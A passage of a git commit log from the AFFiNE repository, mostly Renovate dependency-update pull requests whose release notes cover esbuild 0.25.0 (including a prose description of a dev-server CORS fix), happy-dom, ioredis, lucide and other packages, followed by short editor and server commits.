[Compare Source](https://redirect.github.com/vitejs/vite-plugin-react-swc/compare/v3.7.2...v3.8.0)

##### Add useAtYourOwnRisk_mutateSwcOptions option

The future of Vite is with OXC, and from the beginning this was a design choice to not exposed too many specialties from SWC so that Vite React users can move to another transformer later.
Also debugging why some specific version of decorators with some other unstable/legacy feature doesn't work is not fun, so we won't provide support for it, hence the name `useAtYourOwnRisk`.

```ts
react({
  useAtYourOwnRisk_mutateSwcOptions(options) {
    options.jsc.parser.decorators = true;
    options.jsAc.transform.decoratorVersion = "2022-03";
  },
});
```

</details>

<details>
<summary>evanw/esbuild (esbuild)</summary>

### [`v0.25.0`](https://redirect.github.com/evanw/esbuild/blob/HEAD/CHANGELOG.md#v0250)

[Compare Source](https://redirect.github.com/evanw/esbuild/compare/v0.24.2...v0.25.0)

**This release deliberately contains backwards-incompatible changes.** To avoid automatically picking up releases like this, you should either be pinning the exact version of `esbuild` in your `package.json` file (recommended) or be using a version range syntax that only accepts patch upgrades such as `^0.24.0` or `~0.24.0`. See npm's documentation about [semver](https://docs.npmjs.com/cli/v6/using-npm/semver/) for more information.

-   Restrict access to esbuild's development server ([GHSA-67mh-4wv8-2f99](https://redirect.github.com/evanw/esbuild/security/advisories/GHSA-67mh-4wv8-2f99))

    This change addresses esbuild's first security vulnerability report. Previously esbuild set the `Access-Control-Allow-Origin` header to `*` to allow esbuild's development server to be flexible in how it's used for development. However, this allows the websites you visit to make HTTP requests to esbuild's local development server, which gives read-only access to your source code if the website were to fetch your source code's specific URL. You can read more information in [the report](https://redirect.github.com/evanw/esbuild/security/advisories/GHSA-67mh-4wv8-2f99).

    Starting with this release, [CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS) will now be disabled, and requests will now be denied if the host does not match the one provided to `--serve=`. The default host is `0.0.0.0`, which refers to all of the IP addresses that represent the local machine (e.g. both `127.0.0.1` and `192.168.0.1`). If you want to customize anything about esbuild's development server, you can [put a proxy in front of esbuild](https://esbuild.github.io/api/#serve-proxy) and modify the incoming and/or outgoing requests.

    In addition, the `serve()` API call has been changed to return an array of `hosts` instead of a single `host` string. This makes it possible to determine all of the hosts that esbuild's development server will accept.

    Thanks to [@&#8203;sapphi-red](https://redirect.github.com/sapphi-red) for reporting this issue.

-   Delete output files when a build fails in watch mode ([#&#8203;3643](https://redirect.github.com/evanw/esbuild/issues/3643))

    It has been requested for esbuild to delete files when a build fails in watch mode. Previously esbuild left the old files in place, which could cause people to not immediately realize that the most recent build failed. With this release, esbuild will now delete all output files if a rebuild fails. Fixing the build error and triggering another rebuild will restore all output files again.

-   Fix correctness issues with the CSS nesting transform ([#&#8203;3620](https://redirect.github.com/evanw/esbuild/issues/3620), [#&#8203;3877](https://redirect.github.com/evanw/esbuild/issues/3877), [#&#8203;3933](https://redirect.github.com/evanw/esbuild/issues/3933), [#&#8203;3997](https://redirect.github.com/evanw/esbuild/issues/3997), [#&#8203;4005](https://redirect.github.com/evanw/esbuild/issues/4005), [#&#8203;4037](https://redirect.github.com/evanw/esbuild/pull/4037), [#&#8203;4038](https://redirect.github.com/evanw/esbuild/pull/4038))

    This release fixes the following problems:

    -   Naive expansion of CSS nesting can result in an exponential blow-up of generated CSS if each nesting level has multiple selectors. Previously esbuild sometimes collapsed individual nesting levels using `:is()` to limit expansion. However, this collapsing wasn't correct in some cases, so it has been removed to fix correctness issues.

        ```css
        /* Original code */
        .parent {
          > .a,
          > .b1 > .b2 {
            color: red;
          }
        }

        /* Old output (with --supported:nesting=false) */
        .parent > :is(.a, .b1 > .b2) {
          color: red;
        }

        /* New output (with --supported:nesting=false) */
        .parent > .a,
        .parent > .b1 > .b2 {
          color: red;
        }
        ```

        Thanks to [@&#8203;tim-we](https://redirect.github.com/tim-we) for working on a fix.

    -   The `&` CSS nesting selector can be repeated multiple times to increase CSS specificity. Previously esbuild ignored this possibility and incorrectly considered `&&` to have the same specificity as `&`. With this release, this should now work correctly:

        ```css
        /* Original code (color should be red) */
        div {
          && { color: red }
          & { color: blue }
        }

        /* Old output (with --supported:nesting=false) */
        div {
          color: red;
        }
        div {
          color: blue;
        }

        /* New output (with --supported:nesting=false) */
        div:is(div) {
          color: red;
        }
        div {
          color: blue;
        }
        ```

        Thanks to [@&#8203;CPunisher](https://redirect.github.com/CPunisher) for working on a fix.

    -   Previously transforming nested CSS incorrectly removed leading combinators from within pseudoclass selectors such as `:where()`. This edge case has been fixed and how has test coverage.

        ```css
        /* Original code */
        a b:has(> span) {
          a & {
            color: green;
          }
        }

        /* Old output (with --supported:nesting=false) */
        a :is(a b:has(span)) {
          color: green;
        }

        /* New output (with --supported:nesting=false) */
        a :is(a b:has(> span)) {
          color: green;
        }
        ```

        This fix was contributed by [@&#8203;NoremacNergfol](https://redirect.github.com/NoremacNergfol).

    -   The CSS minifier contains logic to remove the `&` selector when it can be implied, which happens when there is only one and it's the leading token. However, this logic was incorrectly also applied to selector lists inside of pseudo-class selectors such as `:where()`. With this release, the minifier will now avoid applying this logic in this edge case:

        ```css
        /* Original code */
        .a {
          & .b { color: red }
          :where(& .b) { color: blue }
        }

        /* Old output (with --minify) */
        .a{.b{color:red}:where(.b){color:#&#8203;00f}}

        /* New output (with --minify) */
        .a{.b{color:red}:where(& .b){color:#&#8203;00f}}
        ```

-   Fix some correctness issues with source maps ([#&#8203;1745](https://redirect.github.com/evanw/esbuild/issues/1745), [#&#8203;3183](https://redirect.github.com/evanw/esbuild/issues/3183), [#&#8203;3613](https://redirect.github.com/evanw/esbuild/issues/3613), [#&#8203;3982](https://redirect.github.com/evanw/esbuild/issues/3982))

    Previously esbuild incorrectly treated source map path references as file paths instead of as URLs. With this release, esbuild will now treat source map path references as URLs. This fixes the following problems with source maps:

    -   File names in `sourceMappingURL` that contained a space previously did not encode the space as `%20`, which resulted in JavaScript tools (including esbuild) failing to read that path back in when consuming the generated output file. This should now be fixed.

    -   Absolute URLs in `sourceMappingURL` that use the `file://` scheme previously attempted to read from a folder called `file:`. These URLs should now be recognized and parsed correctly.

    -   Entries in the `sources` array in the source map are now treated as URLs instead of file paths. The correct behavior for this is much more clear now that source maps has a [formal specification](https://tc39.es/ecma426/). Many thanks to those who worked on the specification.

-   Fix incorrect package for `@esbuild/netbsd-arm64` ([#&#8203;4018](https://redirect.github.com/evanw/esbuild/issues/4018))

    Due to a copy+paste typo, the binary published to `@esbuild/netbsd-arm64` was not actually for `arm64`, and didn't run in that environment. This release should fix running esbuild in that environment (NetBSD on 64-bit ARM). Sorry about the mistake.

-   Fix a minification bug with bitwise operators and bigints ([#&#8203;4065](https://redirect.github.com/evanw/esbuild/issues/4065))

    This change removes an incorrect assumption in esbuild that all bitwise operators result in a numeric integer. That assumption was correct up until the introduction of bigints in ES2020, but is no longer correct because almost all bitwise operators now operate on both numbers and bigints. Here's an example of the incorrect minification:

    ```js
    // Original code
    if ((a & b) !== 0) found = true

    // Old output (with --minify)
    a&b&&(found=!0);

    // New output (with --minify)
    (a&b)!==0&&(found=!0);
    ```

-   Fix esbuild incorrectly rejecting valid TypeScript edge case ([#&#8203;4027](https://redirect.github.com/evanw/esbuild/issues/4027))

    The following TypeScript code is valid:

    ```ts
    export function open(async?: boolean): void {
      console.log(async as boolean)
    }
    ```

    Before this version, esbuild would fail to parse this with a syntax error as it expected the token sequence `async as ...` to be the start of an async arrow function expression `async as => ...`. This edge case should be parsed correctly by esbuild starting with this release.

-   Transform BigInt values into constructor calls when unsupported ([#&#8203;4049](https://redirect.github.com/evanw/esbuild/issues/4049))

    Previously esbuild would refuse to compile the BigInt literals (such as `123n`) if they are unsupported in the configured target environment (such as with `--target=es6`). The rationale was that they cannot be polyfilled effectively because they change the behavior of JavaScript's arithmetic operators and JavaScript doesn't have operator overloading.

    However, this prevents using esbuild with certain libraries that would otherwise work if BigInt literals were ignored, such as with old versions of the [`buffer` library](https://redirect.github.com/feross/buffer) before the library fixed support for running in environments without BigInt support. So with this release, esbuild will now turn BigInt literals into BigInt constructor calls (so `123n` becomes `BigInt(123)`) and generate a warning in this case. You can turn off the warning with `--log-override:bigint=silent` or restore the warning to an error with `--log-override:bigint=error` if needed.

-   Change how `console` API dropping works ([#&#8203;4020](https://redirect.github.com/evanw/esbuild/issues/4020))

    Previously the `--drop:console` feature replaced all method calls off of the `console` global with `undefined` regardless of how long the property access chain was (so it applied to `console.log()` and `console.log.call(console)` and `console.log.not.a.method()`). However, it was pointed out that this breaks uses of `console.log.bind(console)`. That's also incompatible with Terser's implementation of the feature, which is where this feature originally came from (it does support `bind`). So with this release, using this feature with esbuild will now only replace one level of method call (unless extended by `call` or `apply`) and will replace the method being called with an empty function in complex cases:

    ```js
    // Original code
    const x = console.log('x')
    const y = console.log.call(console, 'y')
    const z = console.log.bind(console)('z')

    // Old output (with --drop-console)
    const x = void 0;
    const y = void 0;
    const z = (void 0)("z");

    // New output (with --drop-console)
    const x = void 0;
    const y = void 0;
    const z = (() => {
    }).bind(console)("z");
    ```

    This should more closely match Terser's existing behavior.

-   Allow BigInt literals as `define` values

    With this release, you can now use BigInt literals as define values, such as with `--define:FOO=123n`. Previously trying to do this resulted in a syntax error.

-   Fix a bug with resolve extensions in `node_modules` ([#&#8203;4053](https://redirect.github.com/evanw/esbuild/issues/4053))

    The `--resolve-extensions=` option lets you specify the order in which to try resolving implicit file extensions. For complicated reasons, esbuild reorders TypeScript file extensions after JavaScript ones inside of `node_modules` so that JavaScript source code is always preferred to TypeScript source code inside of dependencies. However, this reordering had a bug that could accidentally change the relative order of TypeScript file extensions if one of them was a prefix of the other. That bug has been fixed in this release. You can see the issue for details.

-   Better minification of statically-determined `switch` cases ([#&#8203;4028](https://redirect.github.com/evanw/esbuild/issues/4028))

    With this release, esbuild will now try to trim unused code within `switch` statements when the test expression and `case` expressions are primitive literals. This can arise when the test expression is an identifier that is substituted for a primitive literal at compile time. For example:

    ```js
    // Original code
    switch (MODE) {
      case 'dev':
        installDevToolsConsole()
        break
      case 'prod':
        return
      default:
        throw new Error
    }

    // Old output (with --minify '--define:MODE="prod"')
    switch("prod"){case"dev":installDevToolsConsole();break;case"prod":return;default:throw new Error}

    // New output (with --minify '--define:MODE="prod"')
    return;
    ```

-   Emit `/* @&#8203;__KEY__ */` for string literals derived from property names ([#&#8203;4034](https://redirect.github.com/evanw/esbuild/issues/4034))

    Property name mangling is an advanced feature that shortens certain property names for better minification (I say "advanced feature" because it's very easy to break your code with it). Sometimes you need to store a property name in a string, such as `obj.get('foo')` instead of `obj.foo`. JavaScript minifiers such as esbuild and [Terser](https://terser.org/) have a convention where a `/* @&#8203;__KEY__ */` comment before the string makes it behave like a property name. So `obj.get(/* @&#8203;__KEY__ */ 'foo')` allows the contents of the string `'foo'` to be shortened.

    However, esbuild sometimes itself generates string literals containing property names when transforming code, such as when lowering class fields to ES6 or when transforming TypeScript decorators. Previously esbuild didn't generate its own `/* @&#8203;__KEY__ */` comments in this case, which means that minifying your code by running esbuild again on its own output wouldn't work correctly (this does not affect people that both minify and transform their code in a single step).

    With this release, esbuild will now generate `/* @&#8203;__KEY__ */` comments for property names in generated string literals. To avoid lots of unnecessary output for people that don't use this advanced feature, the generated comments will only be present when the feature is active. If you want to generate the comments but not actually mangle any property names, you can use a flag that has no effect such as `--reserve-props=.`, which tells esbuild to not mangle any property names (but still activates this feature).

-   The `text` loader now strips the UTF-8 BOM if present ([#&#8203;3935](https://redirect.github.com/evanw/esbuild/issues/3935))

    Some software (such as Notepad on Windows) can create text files that start with the three bytes `0xEF 0xBB 0xBF`, which is referred to as the "byte order mark". This prefix is intended to be removed before using the text. Previously esbuild's `text` loader included this byte sequence in the string, which turns into a prefix of `\uFEFF` in a JavaScript string when decoded from UTF-8. With this release, esbuild's `text` loader will now remove these bytes when they occur at the start of the file.

-   Omit legal comment output files when empty ([#&#8203;3670](https://redirect.github.com/evanw/esbuild/issues/3670))

    Previously configuring esbuild with `--legal-comment=external` or `--legal-comment=linked` would always generate a `.LEGAL.txt` output file even if it was empty. Starting with this release, esbuild will now only do this if the file will be non-empty. This should result in a more organized output directory in some cases.

-   Update Go from 1.23.1 to 1.23.5 ([#&#8203;4056](https://redirect.github.com/evanw/esbuild/issues/4056), [#&#8203;4057](https://redirect.github.com/evanw/esbuild/pull/4057))

    This should have no effect on existing code as this version change does not change Go's operating system support. It may remove certain reports from vulnerability scanners that detect which version of the Go compiler esbuild uses.

    This PR was contributed by [@&#8203;MikeWillCook](https://redirect.github.com/MikeWillCook).

-   Allow passing a port of 0 to the development server ([#&#8203;3692](https://redirect.github.com/evanw/esbuild/issues/3692))

    Unix sockets interpret a port of 0 to mean "pick a random unused port in the [ephemeral port](https://en.wikipedia.org/wiki/Ephemeral_port) range". However, esbuild's default behavior when the port is not specified is to pick the first unused port starting from 8000 and upward. This is more convenient because port 8000 is typically free, so you can for example restart the development server and reload your app in the browser without needing to change the port in the URL. Since esbuild is written in Go (which does not have optional fields like JavaScript), not specifying the port in Go means it defaults to 0, so previously passing a port of 0 to esbuild caused port 8000 to be picked.

    Starting with this release, passing a port of 0 to esbuild when using the CLI or the JS API will now pass port 0 to the OS, which will pick a random ephemeral port. To make this possible, the `Port` option in the Go API has been changed from `uint16` to `int` (to allow for additional sentinel values) and passing a port of -1 in Go now picks a random port. Both the CLI and JS APIs now remap an explicitly-provided port of 0 into -1 for the internal Go API.

    Another option would have been to change `Port` in Go from `uint16` to `*uint16` (Go's closest equivalent of `number | undefined`). However, that would make the common case of providing an explicit port in Go very awkward as Go doesn't support taking the address of integer constants. This tradeoff isn't worth it as picking a random ephemeral port is a rare use case. So the CLI and JS APIs should now match standard Unix behavior when the port is 0, but you need to use -1 instead with Go API.

-   Minification now avoids inlining constants with direct `eval` ([#&#8203;4055](https://redirect.github.com/evanw/esbuild/issues/4055))

    Direct `eval` can be used to introduce a new variable like this:

    ```js
    const variable = false
    ;(function () {
      eval("var variable = true")
      console.log(variable)
    })()
    ```

    Previously esbuild inlined `variable` here (which became `false`), which changed the behavior of the code. This inlining is now avoided, but please keep in mind that direct `eval` breaks many assumptions that JavaScript tools hold about normal code (especially when bundling) and I do not recommend using it. There are usually better alternatives that have a more localized impact on your code. You can read more about this here: https://esbuild.github.io/link/direct-eval/

</details>

<details>
<summary>capricorn86/happy-dom (happy-dom)</summary>

### [`v17.0.2`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v17.0.2)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v17.0.1...v17.0.2)

##### 👷‍♂️ Patch fixes

-   The property "tabIndex" should return "0" by default in `HTMLAnchorElement`, `HTMLAreaElement`, `HTMLButtonElement`, `HTMLIFrameElement`, `HTMLInputElement`, `HTMLMediaElement`, `HTMLObjectElement`, `HTMLSelectElement` and `HTMLTextAreaElement` - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;1714](https://redirect.github.com/capricorn86/happy-dom/issues/1714)

### [`v17.0.1`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v17.0.1)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v17.0.0...v17.0.1)

##### 👷‍♂️ Patch fixes

-   Ensure `querySelector()` returns the first item that appears in the DOM for grouped selectors - By **[@&#8203;christiango](https://redirect.github.com/christiango)** in task [#&#8203;1710](https://redirect.github.com/capricorn86/happy-dom/issues/1710)

</details>

<details>
<summary>luin/ioredis (ioredis)</summary>

### [`v5.5.0`](https://redirect.github.com/luin/ioredis/blob/HEAD/CHANGELOG.md#550-2025-02-07)

[Compare Source](https://redirect.github.com/luin/ioredis/compare/v5.4.2...v5.5.0)

##### Features

-   Add ability for nat mapping through function ([#&#8203;1948](https://redirect.github.com/luin/ioredis/issues/1948)) ([3a04bee](3a04bee109))
-   **HscanStream:** adding NOVALUES option ([#&#8203;1943](https://redirect.github.com/luin/ioredis/issues/1943)) ([2f9843d](2f9843ddfa))

#### [5.4.2](https://redirect.github.com/luin/ioredis/compare/v5.4.1...v5.4.2) (2024-12-20)

##### Bug Fixes

-   Connection instability when using socketTimeout parameter ([#&#8203;1937](https://redirect.github.com/luin/ioredis/issues/1937)) ([ca5e940](ca5e9405f8)), closes [#&#8203;1919](https://redirect.github.com/luin/ioredis/issues/1919)

#### [5.4.1](https://redirect.github.com/luin/ioredis/compare/v5.4.0...v5.4.1) (2024-04-17)

##### Bug Fixes

-   remove console.log ([558497c](558497cba8))

</details>

<details>
<summary>ospfranco/link-preview-js (link-preview-js)</summary>

### [`v3.0.14`](https://redirect.github.com/OP-Engineering/link-preview-js/releases/tag/3.0.14)

[Compare Source](https://redirect.github.com/ospfranco/link-preview-js/compare/3.0.13...3.0.14)

#### What's Changed

-   feat: drop uneeded polyfills by [@&#8203;talentlessguy](https://redirect.github.com/talentlessguy) in [https://github.com/OP-Engineering/link-preview-js/pull/163](https://redirect.github.com/OP-Engineering/link-preview-js/pull/163)

#### New Contributors

-   [@&#8203;talentlessguy](https://redirect.github.com/talentlessguy) made their first contribution in [https://github.com/OP-Engineering/link-preview-js/pull/163](https://redirect.github.com/OP-Engineering/link-preview-js/pull/163)

**Full Changelog**: https://github.com/OP-Engineering/link-preview-js/compare/3.0.13...3.0.14

</details>

<details>
<summary>lucide-icons/lucide (lucide-react)</summary>

### [`v0.475.0`](https://redirect.github.com/lucide-icons/lucide/releases/tag/0.475.0): New icons 0.475.0

[Compare Source](https://redirect.github.com/lucide-icons/lucide/compare/0.474.0...0.475.0)

#### New icons 🎨

-   `circle-small` ([#&#8203;2607](https://redirect.github.com/lucide-icons/lucide/issues/2607)) by [@&#8203;jamiemlaw](https://redirect.github.com/jamiemlaw)
-   `mars-stroke` ([#&#8203;2607](https://redirect.github.com/lucide-icons/lucide/issues/2607)) by [@&#8203;jamiemlaw](https://redirect.github.com/jamiemlaw)
-   `mars` ([#&#8203;2607](https://redirect.github.com/lucide-icons/lucide/issues/2607)) by [@&#8203;jamiemlaw](https://redirect.github.com/jamiemlaw)
-   `non-binary` ([#&#8203;2607](https://redirect.github.com/lucide-icons/lucide/issues/2607)) by [@&#8203;jamiemlaw](https://redirect.github.com/jamiemlaw)
-   `transgender` ([#&#8203;2607](https://redirect.github.com/lucide-icons/lucide/issues/2607)) by [@&#8203;jamiemlaw](https://redirect.github.com/jamiemlaw)
-   `venus-and-mars` ([#&#8203;2607](https://redirect.github.com/lucide-icons/lucide/issues/2607)) by [@&#8203;jamiemlaw](https://redirect.github.com/jamiemlaw)
-   `venus` ([#&#8203;2607](https://redirect.github.com/lucide-icons/lucide/issues/2607)) by [@&#8203;jamiemlaw](https://redirect.github.com/jamiemlaw)

</details>

<details>
<summary>markedjs/marked (marked)</summary>

### [`v15.0.7`](https://redirect.github.com/markedjs/marked/compare/v15.0.6...bf4952f4958cb3fef586deaa7299c1e462072a3a)

[Compare Source](https://redirect.github.com/markedjs/marked/compare/v15.0.6...v15.0.7)

</details>

<details>
<summary>Papooch/nestjs-cls (nestjs-cls)</summary>

### [`v5.1.2`](https://redirect.github.com/Papooch/nestjs-cls/releases/tag/nestjs-cls%405.1.2)

[Compare Source](https://redirect.github.com/Papooch/nestjs-cls/compare/nestjs-cls@5.1.1...nestjs-cls@5.1.2)

##### Bug Fixes

-   **core**: allow all Object.prototype key access on strict providers ([#&#8203;214](https://redirect.github.com/Papooch/nestjs-cls/issues/214)) ([e938c6d](https://redirect.github.com/Papooch/nestjs-cls/commits/e938c6d))

### [`v5.1.1`](https://redirect.github.com/Papooch/nestjs-cls/compare/nestjs-cls@5.1.0...f9b14d4ea8508c26272fd5be3da526347c49f4f1)

[Compare Source](https://redirect.github.com/Papooch/nestjs-cls/compare/nestjs-cls@5.1.0...nestjs-cls@5.1.1)

### [`v5.1.0`](https://redirect.github.com/Papooch/nestjs-cls/releases/tag/nestjs-cls%405.1.0)

[Compare Source](https://redirect.github.com/Papooch/nestjs-cls/compare/nestjs-cls@5.0.1...nestjs-cls@5.1.0)

##### Bug Fixes

-   **core**: allow accessing constructor on strict proxy providers ([#&#8203;211](https://redirect.github.com/Papooch/nestjs-cls/issues/211)) ([bf0f871](https://redirect.github.com/Papooch/nestjs-cls/commits/bf0f871))

##### Features

-   **core**: add saveCtx option in enhancer setup

This allows storing the ExecutionContext in the CLS (enabled by default) ([4dcda62](https://redirect.github.com/Papooch/nestjs-cls/commits/4dcda62))

-   **core**: add `saveCtx` option in enhancer setup ([#&#8203;212](https://redirect.github.com/Papooch/nestjs-cls/issues/212)) ([4dcda62](https://redirect.github.com/Papooch/nestjs-cls/commits/4dcda62))

</details>

<details>
<summary>matklad/once_cell (once_cell)</summary>

### [`v1.20.3`](https://redirect.github.com/matklad/once_cell/compare/v1.20.2...v1.20.3)

[Compare Source](https://redirect.github.com/matklad/once_cell/compare/v1.20.2...v1.20.3)

</details>

<details>
<summary>prettier/prettier (prettier)</summary>

### [`v3.5.0`](https://redirect.github.com/prettier/prettier/blob/HEAD/CHANGELOG.md#350)

[Compare Source](https://redirect.github.com/prettier/prettier/compare/3.4.2...3.5.0)

[diff](https://redirect.github.com/prettier/prettier/compare/3.4.2...3.5.0)

🔗 [Release Notes](https://prettier.io/blog/2025/02/09/3.5.0.html)

</details>

<details>
<summary>petyosi/react-virtuoso (react-virtuoso)</summary>

### [`v4.12.5`](https://redirect.github.com/petyosi/react-virtuoso/releases/tag/react-virtuoso%404.12.5)

[Compare Source](https://redirect.github.com/petyosi/react-virtuoso/compare/react-virtuoso@4.12.4...react-virtuoso@4.12.5)

##### Patch Changes

-   [`b1d4519`](https://redirect.github.com/petyosi/react-virtuoso/commit/b1d4519): Revert node requirements

### [`v4.12.4`](https://redirect.github.com/petyosi/react-virtuoso/releases/tag/react-virtuoso%404.12.4)

[Compare Source](https://redirect.github.com/petyosi/react-virtuoso/compare/v4.12.3...react-virtuoso@4.12.4)

##### Patch Changes

-   [`fdbf0c5`](https://redirect.github.com/petyosi/react-virtuoso/commit/fdbf0c5): Updated to latest tooling
-   [`fdbf0c5`](https://redirect.github.com/petyosi/react-virtuoso/commit/fdbf0c5): correct TS types for custom component, context is always passed

</details>

<details>
<summary>TypeStrong/TypeDoc (typedoc)</summary>

### [`v0.27.7`](https://redirect.github.com/TypeStrong/TypeDoc/blob/HEAD/CHANGELOG.md#v0277-2025-02-09)

[Compare Source](https://redirect.github.com/TypeStrong/TypeDoc/compare/v0.27.6...v0.27.7)

##### Features

-   `@includeCode` and `@inline` can now inject parts of files using region
    names or line numbers, [#&#8203;2816](https://redirect.github.com/TypeStrong/TypeDoc/issues/2816).
-   Introduced `ja` translation options, deprecated `jp` in favor of `ja`, [#&#8203;2843](https://redirect.github.com/TypeStrong/TypeDoc/issues/2843).
-   Improved TypeDoc's `--watch` option to support watching files not caught by
    TypeScript's watch mode, [#&#8203;2675](https://redirect.github.com/TypeStrong/TypeDoc/issues/2675).
-   The `@inline` tag now works in more places for generic types.
-   Visibility filters now consider individual signatures, [#&#8203;2846](https://redirect.github.com/TypeStrong/TypeDoc/issues/2846).

##### Bug Fixes

-   Fixed an issue where TypeDoc would incorrectly ignore type arguments in references, [#&#8203;2823](https://redirect.github.com/TypeStrong/TypeDoc/issues/2823).
-   Improved narrator support for labeling icons, [#&#8203;2832](https://redirect.github.com/TypeStrong/TypeDoc/issues/2832).
-   Fixed an issue with `@class` incorrectly handling mapped types, [#&#8203;2842](https://redirect.github.com/TypeStrong/TypeDoc/issues/2842).
-   TypeDoc will now consider symbols to be external only if all of their declarations are external
    so

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE2NC4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-10 13:25:15 +00:00
fengmk2
67b6c28d67 refactor(server): use user model on oauth plugin (#10031)
close CLOUD-117
2025-02-10 20:26:34 +08:00
L-Sun
23364b59a0 fix(editor): wrap doc title by default (#10052)
Close [AF-2195](https://linear.app/affine-design/issue/AF-2195/editor-的-title-overflow-时没有换行)
2025-02-10 11:30:14 +00:00
fundon
d03744688b refactor(editor): move embed-card-modal to components (#10037) 2025-02-10 10:56:13 +00:00
akumatus
397887e3b5 fix(core): not using Internet search after user selects document or file (#10058)
Fix issue [BS-2546](https://linear.app/affine-design/issue/BS-2546).
2025-02-10 10:40:14 +00:00
pengx17
6839e634e7 fix: at menu toolip should always use the default color (#10054)
fix AF-2194
2025-02-10 18:22:25 +08:00
fengmk2
0757f29f83 refactor(server): use doc model on doc cron job (#10057) 2025-02-10 09:52:44 +00:00
renovate
e8bac17b3c chore: bump up nestjs (#10040)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@nestjs-cls/transactional](https://papooch.github.io/nestjs-cls/) ([source](https://redirect.github.com/Papooch/nestjs-cls)) | [`2.4.6` -> `2.4.9`](https://renovatebot.com/diffs/npm/@nestjs-cls%2ftransactional/2.4.6/2.4.9) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs-cls%2ftransactional/2.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs-cls%2ftransactional/2.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs-cls%2ftransactional/2.4.6/2.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs-cls%2ftransactional/2.4.6/2.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs-cls/transactional-adapter-prisma](https://papooch.github.io/nestjs-cls/) ([source](https://redirect.github.com/Papooch/nestjs-cls)) | [`1.2.9` -> `1.2.12`](https://renovatebot.com/diffs/npm/@nestjs-cls%2ftransactional-adapter-prisma/1.2.9/1.2.12) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs-cls%2ftransactional-adapter-prisma/1.2.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs-cls%2ftransactional-adapter-prisma/1.2.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs-cls%2ftransactional-adapter-prisma/1.2.9/1.2.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs-cls%2ftransactional-adapter-prisma/1.2.9/1.2.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>Papooch/nestjs-cls (@&#8203;nestjs-cls/transactional)</summary>

### [`v2.4.9`](https://redirect.github.com/Papooch/nestjs-cls/compare/@nestjs-cls/transactional@2.4.8...@nestjs-cls/transactional@2.4.9)

[Compare Source](https://redirect.github.com/Papooch/nestjs-cls/compare/@nestjs-cls/transactional@2.4.8...@nestjs-cls/transactional@2.4.9)

### [`v2.4.8`](https://redirect.github.com/Papooch/nestjs-cls/compare/@nestjs-cls/transactional@2.4.7...@nestjs-cls/transactional@2.4.8)

[Compare Source](https://redirect.github.com/Papooch/nestjs-cls/compare/@nestjs-cls/transactional@2.4.7...@nestjs-cls/transactional@2.4.8)

### [`v2.4.7`](https://redirect.github.com/Papooch/nestjs-cls/compare/@nestjs-cls/transactional@2.4.6...@nestjs-cls/transactional@2.4.7)

[Compare Source](https://redirect.github.com/Papooch/nestjs-cls/compare/@nestjs-cls/transactional@2.4.6...@nestjs-cls/transactional@2.4.7)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE2NC4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-10 08:29:10 +00:00
Brooooooklyn
97f3b78924 chore: update nolyfill list (#10027) 2025-02-10 08:13:10 +00:00
fundon
9689811226 fix(editor): typos on embed card modal (#10046) 2025-02-10 07:57:10 +00:00
L-Sun
9f56a21d8a feat(editor): add animation for switching to edgeless mode firstly (#10021)
Close [BS-2327](https://linear.app/affine-design/issue/BS-2327/page-block-%E5%9C%A8-edgeless-%E5%88%87%E6%8D%A2%E7%BC%A9%E6%94%BE%E5%8A%A8%E7%94%BB)

### What Changes:
- Add a zoom animation when switching to edgeless mode firstly
- Move viewport record from `sessionStorage` to `localStorage`

